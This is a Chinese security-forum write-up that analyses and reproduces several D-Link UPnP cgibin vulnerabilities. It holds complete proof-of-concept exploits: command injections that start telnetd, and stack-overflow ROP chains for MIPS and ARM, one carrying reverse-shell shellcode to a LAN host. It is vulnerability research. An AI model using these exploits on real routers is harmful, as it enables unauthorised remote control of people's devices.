首页
论坛
课程
招聘
[原创] cgibin中与upnp协议有关的一些漏洞分析与复现
2022-5-6 21:19 8492

[原创] cgibin中与upnp协议有关的一些漏洞分析与复现

2022-5-6 21:19
8492

cgibin中与upnp协议有关的一些漏洞分析与复现

前言

UPNP协议

UPNP,全称为:Universal Plug and Play,中文为:通用即插即用,是一套基于TCP/IPUDPHTTP的网络协议。

 

简单来说,就和它的名字一样,UPNP的目的就是为了在某个设备接入网络后,该网络中的所有设备都知道有新设备加入,这些设备之间能互相沟通,甚至可直接使用或控制对方。

 

UPNP的一大亮点就是,只要某设备支持并开启了UPNP,当主机向其发出端口映射请求的时候,该设备就会自动为主机分配端口并进行端口映射

cgibin

D-LinkTRENDnetapache struct的路由器的/htdocs目录下都存在一个cgibin二进制文件,它会有很多.cgi文件的软链接,通过运行这些软链接,其名字会作为第一个参数传入cgibin,就会调用到cgibin中对应的函数。

 

cgibin会作为 “请求验证文件” ,对用户的请求进行验证并解析,再将解析后的数据传给对应的文件,进行下一步的操作。

upnp相关的cgi

下图为UPNP协议栈的结构示意图:

 

 

可以看到其中的 SSDP(简单服务发现协议),SOAP(简单对象访问协议)与GENA(通用事件通知体系) ,其分别对应ssdpcgi(在/htdocs/upnp目录下),soap.cgi(在/htdocs/upnp/docs/LAN-1目录下),gena.cgi(在/htdocs/upnp/docs/LAN-1目录下),本文也主要是分析这几个cgicgibin中对应函数的漏洞。

FAP (firmware-analysis-plus)

由于牵涉到UPNP协议,用qemu来模拟是比较复杂的,需要手动初始化一些东西,因此笔者为了方便,选择使用FAP来仿真模拟固件运行,这个平台基于firmadyne,对其做了一些优化及改进,GitHub的项目地址为:firmware-analysis-plus

 

该平台的优点是:可以做到一键仿真模拟固件运行,缺点是:适配性较差,最好在Kali上安装使用,笔者所用的物理机是Kali 2021.11的版本。

 

此外,经过笔者测试,该平台对大部分MIPS架构的固件模拟都没有问题,但是对部分ARM架构(特别是D-Link系列高版本路由)的固件模拟好像会出一些问题。

 

关于ARM无法成功仿真模拟的问题,笔者已经在github上提交了issue咨询了作者,并且得到了回复:

 

 

笔者后来又找到了另一个优秀的“固件仿真框架”EMUX,这是一个基于docker的框架,主要针对于arm架构的仿真模拟,近期也支持了mips架构,根据官方的描述,可以对DIR860以上的arm架构路由进行模拟运行。

 

2022.5.7更新:

 

这篇文章其实是挺久前写的了,昨天刚发出来,今天就收到了FAP项目作者的回复,说是已经修复了D-Link系列高版本arm路由无法仿真的问题:

 

 

笔者立即测试了一下,的确是修复了该问题,接着,笔者又尝试用FAP模拟运行了TP-LinkTenda等品牌中多款arm的固件,都能够成功。

 

从目前各方面综合来看,FAP项目是仿真模拟IoT固件的极好的选择。

 

注:以下复现的CVE所影响的路由器为D-Link DIR-859及以下的版本,以及部分D-Link DIR-859以上的较低小版本,TRENDnet的很多路由器因框架相同,也受其影响。

CVE-2020-15893

漏洞信息:CVE-2020-15893

 

这个CVEssdpcgi有关,我们先来分析cgibin中的ssdpcgi_main函数,可以很轻松地定位到可能的漏洞点在LABEL_17这里:

 

 

进入lxmldbc_system函数:

 

 

可以看到这里是用vsnprintf对传进来的格式化字符串进行了拼接,其中va是通过va_arg取当前栈上的元素组成的va_list,通过动态调试不难发现,这里取的栈上的元素就是存放在栈上的环境变量:

 

 

在真机环境中,这里只有HTTP_ST是我们可控的。

 

当我们向HTTP_ST注入恶意指令,那么拼接好的字符串v6作为system参数,就可以导致任意命令执行(RCE)漏洞了。

 

再回到ssdpcgi_main详细分析一下该如何构造payload

 

 

可以发现,进行一堆匹配验证,最后的格式化字符串只有下面两个会多出一个参数%s的拼接,我们再看到汇编:

 

 

这里的第二个参数为/etc/scripts/upnp/M-SEARCH.sh,第三四个参数可以往上查找到,分别是REMOTE_ADDRREMOTE_PORT

 

 

结合格式化字符串,可以猜测并通过动调验证出,最后在lxmldbc_system函数中拼接好的system的参数应为 /etc/scripts/upnp/M-SEARCH.sh XXX REMOTE_ADDR:REMOTE_PORT SERVER_ID HTTP_ST & ,因此,想要造成RCE,也就是要让HTTP_ST拼接上去,就必须要选用后面两个格式化字符串(deviceservice),也就需要之前有urn:才行。

 

综上,我们初步构造的payload可以是向HTTP_ST注入urn:device:;telnetd -p 8888,由于此busybox自带了telnetd,这里用telnetd开一个端口,再从主机远程登陆进去是最方便的。

 

我们知道ssdpcgiUPNP协议有关,也就是要发送报文到UPNP相关的端口,所以先用FAP模拟运行起固件,然后打开/var/run/httpd.conf文件,可以找到:

 

 

也就是说,要1900端口发送报文,才能走到ssdpcgi

 

然而,发送一段报文,肯定是需要请求方式的,在cgibin中不好直接看出来,可以到/usr/sbin/upnp文件中去找ST字段的关键词定位:

 

 

可以看到sub_41BFDC函数中有对其的操作,再交叉引用到调用sub_41BFDCsub_41C2A0函数,这里要求我们的请求方式是M-SEARCH

 

 

上图中的v10是调用ILibParsePacketHeadera1 + 108的数据包解析的结果,而a1 + 108是接收到的socket套接字储存的地方:

 

 

sub_415C9C中也可以看到,把socket绑定到了1900端口:

 

 

再回到有对ST字段进行匹配操作的sub_41BFDC函数,可以看到首先需要绕过下面圈出的判断,这里的1.1显然就是HTTP版本:

 

 

综上,从upnp二进制文件中可以看到,我们得是M-SEARCH请求方式,故:报文头应为M-SEARCH * HTTP/1.1

 

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# python3
from socket import *
from os import *
from time import *
 
payload = b'M-SEARCH * HTTP/1.1\r\n'
payload += b'HOST:localhost:1900\r\n'
payload += b'ST:urn:device:;telnetd -p 8888\r\n\r\n'
 
s = socket(AF_INET, SOCK_DGRAM, 0)
s.sendto(payload, ("192.168.10.1", 1900))
s.close()
 
sleep(1)
system("telnet 192.168.10.1 8888")

最终成功开启了8888端口,利用telnet远程登陆到了路由器固件中,可执行任意命令:

 

 

通过ps命令查看进程,可以发现telnetd -p 8888命令的确已经被成功执行:

 

CVE-2019-17621

漏洞信息:CVE-2019-17621

 

这个漏洞与gena.cgi有关,还是先看到cgibin中的genacgi_main函数:

 

 

可以看到v5service=后面的内容,再先看到SUBCRIBE请求方式对应的sub_41A390函数:

 

 

看到这里,拼接好的字符串v16作为了xmldbc_ephp的参数,xmldbc_ephp函数在这里显然就是运行了/htdocs/upnp/run.NOTIFY.php文件,于是,我们再来分析这个文件:

 

 

SID为空的时候,调用了GENA_subscribe_new函数,这个函数在/htdocs/upnpinc/gena.php中:

 

 

这里有对HOST的检查,然后最后调用到了GENA_notify_init函数:

 

 

在最后,将$shell_file写入了shell文件中,不难想到,可以通过控制shell_file达成任意命令执行。

 

再看回到sub_41A390函数中,既然HTTP_SID必须为空才能走到漏洞点,那么自然就走到了else分支:

 

 

这些检查都需要绕过,才能走到xmldbc_ephp函数:

 

 

这里的SHELL_FILE中可控参数a1就是从genacgi_main传进来的参数v5,也就是service=后面的内容。

 

综上,可以通过对service注入恶意指令,造成RCE漏洞

 

至此,我们知道了报文的请求方式得是SUBSCRIBE才能触发漏洞,至于UNSUBSCRIBESID不为空的情况可以自行审一遍代码,很容易看出是行不通的。

 

接下来要做的就是找的对应的UPNP端口,先找gena.cgi在哪里,看到/etc/services/HTTP/httpsvcs.php文件:

 

 

这里将cgibin的软链接建到了/var/htdocs/upnp/目录下,而这个目录也有软链接,为/htdocs/upnp/docs

 

 

 

得到了这些信息,再看到/var/run/httpd.conf文件:

 

 

可以看到,需要向49152端口发送报文

 

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from socket import *
from os import *
from time import *
 
request = b"SUBSCRIBE /gena.cgi?service=" + b"`telnetd -p 7777`" + b" HTTP/1.1\r\n"
request += b"Host: localhost:49152\r\n"
request += b"Callback: http:///\r\n"
request += b"NT: upnp:event\r\n"
request += b"Timeout: Second-2333\r\n\r\n"
 
s = socket(AF_INET, SOCK_STREAM)
s.connect((gethostbyname("192.168.0.1"), 49152))
s.send(request)
 
#io = remote("192.168.0.1", 49152)
#io.send(request)
 
sleep(1)
os.system('telnet 192.168.0.1 7777')

这里拿socketpwntools来打都是OK的:

 

 

或者直接nc49152端口手动发送报文:

 

CVE-2018-6530

漏洞信息:CVE-2018-6530

 

这个漏洞是在soap.cgi中的,还是看到cgibin中的soapcgi_main函数:

 

 

首先需要绕过一些检查,比如CONTENT_TYPE得是text/xmlREQUEST_METHOD得是POSTHTTP_SOAPACTION中得有#等,可以看到这里对service后的内容已经进行了一些过滤,但是 貌似忘记过滤了&符号

 

接着往下看:

 

 

这里的cgibin_parse_request已经很熟悉了,就是对POST内容的解析,在这里用处不大,就注意设置一下相关环境变量即可。

 

再下面就来到漏洞点了:

 

 

这个fopen的第二个参数是a+,文件不存在就会创建,所以这个if很好判断过,下面的sprintf + system很显然存在一个任意命令执行的RCE漏洞。

 

之前说过,&忘记过滤了,因此我们可以用&&连接恶意命令并注入到service中,由于之前的sh /var/run/是个合法路径,因此算执行成功,可以走到&&之后的恶意命令。

 

在上一个CVE中已经分析过了,soap.cgi也是通过49152端口发送报文给UPNP

 

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from socket import *
from os import *
from time import *
 
request = b"POST /soap.cgi?service=&&telnetd -p 8888&& HTTP/1.1\r\n"
request += b"Host: localhost:49152\r\n"
request += b"Content-Type: text/xml\r\n"
request += b"Content-Length: 88\r\n"
request += b"SOAPAction: a#b\r\n\r\n"
 
s = socket(AF_INET, SOCK_STREAM)
s.connect((gethostbyname("192.168.0.1"), 49152))
s.send(request)
 
sleep(1)
system('telnet 192.168.0.1 8888')

CVE-2022-25106

漏洞信息:CVE-2022-25106

 

这个漏洞仍然是在gena.cgi中,不过这次是存在缓冲区溢出的漏洞:

 

 

上图是当为UNSUBSCRIBE请求方式时走到的函数,很容易看出存在一处栈溢出的漏洞,且当请求方式为SUBSCRIBE时,也存在同样的栈溢出漏洞。

 

需要提一下的就是,这里的SERVER_ID环境变量可以从httpd.conf文件中看到:

 

 

这个环境变量本身就不为空,也不是我们可控的,在这个栈溢出漏洞中,我们可以serviceHTTP_SID进行payload的注入,进行漏洞利用或造成拒绝服务。

 

这里需要注意的是:用FAP启动好固件后,需要用echo 0 > /proc/sys/kernel/randomize_va_space命令关闭地址随机化(ASLR,因为在真机环境中就是没开ASLR的,也方便我们接下来的复现:

 

 

POC-1:

 

UNSUBSCRIBE的请求方式,对service进行了注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# python3
from pwn import *
from socket import *
from os import *
from time import *
context(os = 'linux', arch = 'mips')
 
libc_base = 0x2aaf8000
 
s = socket(AF_INET, SOCK_STREAM)
 
cmd = b'telnetd -l /bin/sh;'
payload = b'a'*462
payload += p32(libc_base + 0x53200 - 1) # s0  system_addr - 1
payload += p32(libc_base + 0x169C4) # s1  addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a'*4 # fp
payload += p32(libc_base + 0x32A98) # ra  addiu $s0, 1 (=> jalr $s1)
payload += b'a'*0x18 # padding
payload += cmd
 
msg = b"UNSUBSCRIBE /gena.cgi?service=" + payload + b" HTTP/1.1\r\n"
msg += b"Host: localhost:49152\r\n"
msg += b"SID: 1\r\n\r\n"
 
s.connect((gethostbyname("192.168.10.1"), 49152))
s.send(msg)
 
sleep(1)
system("telnet 192.168.10.1 23")

成功地远程登陆到了路由固件中:

 

 

检测到23号端口的telnet服务已被开启:

 

 

POC-2:

 

这个脚本在firmadyne模拟的环境中是打不通的,原因未知,可能是shellcode过长,到了一些不可执行区,但是在真机环境是可以打通的。

 

这里用的是SUBSCRIBE的请求方式,对service进行了注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
# python3
from pwn import *
from socket import *
from os import *
from time import *
context(os = 'linux', arch = 'mips')
 
libc_base = 0x2aaf8000
 
s = socket(AF_INET, SOCK_STREAM)
 
payload = b'a'*449
payload += b'a'*4 # s0
payload += p32(libc_base + 0x3E874) # s1  move $t9, $s2 (=> lw... => jr $t9)
payload += p32(libc_base + 0x56BD0) # s2  sleep
payload += b'a'*(4*5)
payload += p32(libc_base + 0x57E50) # ra  li $a0, 1 (=> jalr $s1)
 
payload += b'a'*0x18
payload += b'a'*4 # s0
payload += p32(libc_base + 0x37E6C) # s1  move  $t9, $a1 (=> jr $t9)
payload += b'a'*4 # s2
payload += p32(libc_base + 0xB814) # ra  addiu $a1, $sp, 0x18 (=> jalr $s1)
 
shellcode = asm('''
    slti $a0, $zero, 0xFFFF
    li $v0, 4006
    syscall 0x42424
 
    slti $a0, $zero, 0x1111
    li $v0, 4006
    syscall 0x42424
 
    li $t4, 0xFFFFFFFD
    not $a0, $t4
    li $v0, 4006
    syscall 0x42424
 
    li $t4, 0xFFFFFFFD
    not $a0, $t4
    not $a1, $t4
    slti $a2, $zero, 0xFFFF
    li $v0, 4183
    syscall 0x42424
 
    andi $a0, $v0, 0xFFFF
    li $v0, 4041
    syscall 0x42424
    li $v0, 4041
    syscall 0x42424
 
    lui $a1, 0xB821 # Port: 8888
    ori $a1, 0xFF01
    addi $a1, $a1, 0x0101
    sw $a1, -8($sp)
 
    li $a1, 0x68FAA8C0 # IP: 192.168.250.104
    sw $a1, -4($sp)
    addi $a1, $sp, -8
 
    li $t4, 0xFFFFFFEF
    not $a2, $t4
    li $v0, 4170
    syscall 0x42424
 
    lui $t0, 0x6962
    ori $t0, $t0,0x2f2f
    sw $t0, -20($sp)
 
    lui $t0, 0x6873
    ori $t0, 0x2f6e
    sw $t0, -16($sp)
 
    slti $a3, $zero, 0xFFFF
    sw $a3, -12($sp)
    sw $a3, -4($sp)
 
    addi $a0, $sp, -20
    addi $t0, $sp, -20
    sw $t0, -8($sp)
    addi $a1, $sp, -8
 
    addiu $sp, $sp, -20
 
    slti $a2, $zero, 0xFFFF
    li $v0, 4011
    syscall 0x42424
''')
payload += b'a'*0x18
payload += shellcode
 
msg = b"SUBSCRIBE /gena.cgi?service=" + payload + b" HTTP/1.1\r\n"
msg += b"Host: localhost:49152\r\n"
msg += b"SID: 1\r\n"
msg += b"Timeout: Second-2333\r\n\r\n"
 
s.connect((gethostbyname("192.168.250.1"), 49152))
s.send(msg)

 

POC-3:

 

发现DIR-860L v2.03竟然还存在这个漏洞,于是也打了一下,这里注入的是HTTP_SID,又由于uClibc版本换了,所以gadget也有些变化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# python3
from pwn import *
from socket import *
from os import *
from time import *
context(os = 'linux', arch = 'mips')
 
libc_base = 0x2aabf000
 
s = socket(AF_INET, SOCK_STREAM)
 
cmd = b'telnetd -p 8888;'
payload = b'a'*437
payload += b'a'*4 # s0
payload += p32(libc_base + 0x398A4) # s1  move $a0, $s4 ... jalr $fp
payload += p32(libc_base + 0x56C20) # fp  system
payload += p32(libc_base + 0x3B2B0) # ra  addiu $s4, $sp, 0x28 ... jalr $s1
payload += b'a'*0x28 # padding
payload += cmd
 
msg = b"UNSUBSCRIBE /gena.cgi?service=0 HTTP/1.1\r\n"
msg += b"Host: localhost:49152\r\n"
msg += b"SID: " + payload + b"\r\n\r\n"
 
s.connect((gethostbyname("192.168.0.1"), 49152))
s.send(msg)
 
sleep(1)
system("telnet 192.168.0.1 8888")

 

 

POC-4:

 

发现DIR-880L v1.0虽然架构换成了armel,但是这个漏洞仍然是存在的。

 

不过,FAP对部分arm架构的固件的仿真运行有些问题,笔者也还不太会用EMUX,没成功启动固件,目前又没有真机的测试条件,就先贴一下POC(这里的gadget在本地的qemu测试过,是可以跑通的):

 

2022.5.7更新:FAP项目作者已经修复了D-LINK系列高版本arm路由无法仿真模拟的问题,下面给出的是最终测试通过的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# python3
from pwn import *
from socket import *
from os import *
from time import *
context(os = 'linux', arch = 'arm')
 
libc_base = 0xb6f7e000
 
s = socket(AF_INET, SOCK_STREAM)
 
cmd = b'telnetd -l /bin/sh;'
payload = b'a'*462
payload += b'a'*4 # r4
payload += b'a'*4 # r5
payload += b'a'*4 # r11
payload += p32(libc_base + 0x169a0) # pop {r2, r3, r4, pc};
payload += b'a'*4
payload += p32(libc_base + 0x406f8) # mov r0, r1; pop {r3, pc};
payload += b'a'*4
payload += p32(libc_base + 0x390fc) # pc add r1, sp, #0x2c; blx r3;
payload += b'a'*4 # r3
payload += p32(libc_base + 0x5a270) # pc system
payload += b'a'*(0x2c-8) # padding
payload += cmd
 
msg = b"UNSUBSCRIBE /gena.cgi?service=" + payload + b" HTTP/1.1\r\n"
msg += b"Host: localhost:49152\r\n"
msg += b"SID: 1\r\n\r\n"
 
s.connect((gethostbyname("192.168.0.1"), 49152))
s.send(msg)
 
sleep(1)
system("telnet 192.168.0.1 23")


看雪招聘平台创建简历并且简历完整度达到90%及以上可获得500看雪币~

最后于 2022-5-7 17:14 被winmt编辑 ,原因: FAP项目已经修复了无法仿真模拟部分arm架构固件的问题
收藏
点赞5
打赏
分享
打赏 + 150.00雪花
打赏次数 1 雪花 + 150.00
 
赞赏  Editor   +150.00 2022/06/14 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (0)
游客
登录 | 注册 方可回帖
返回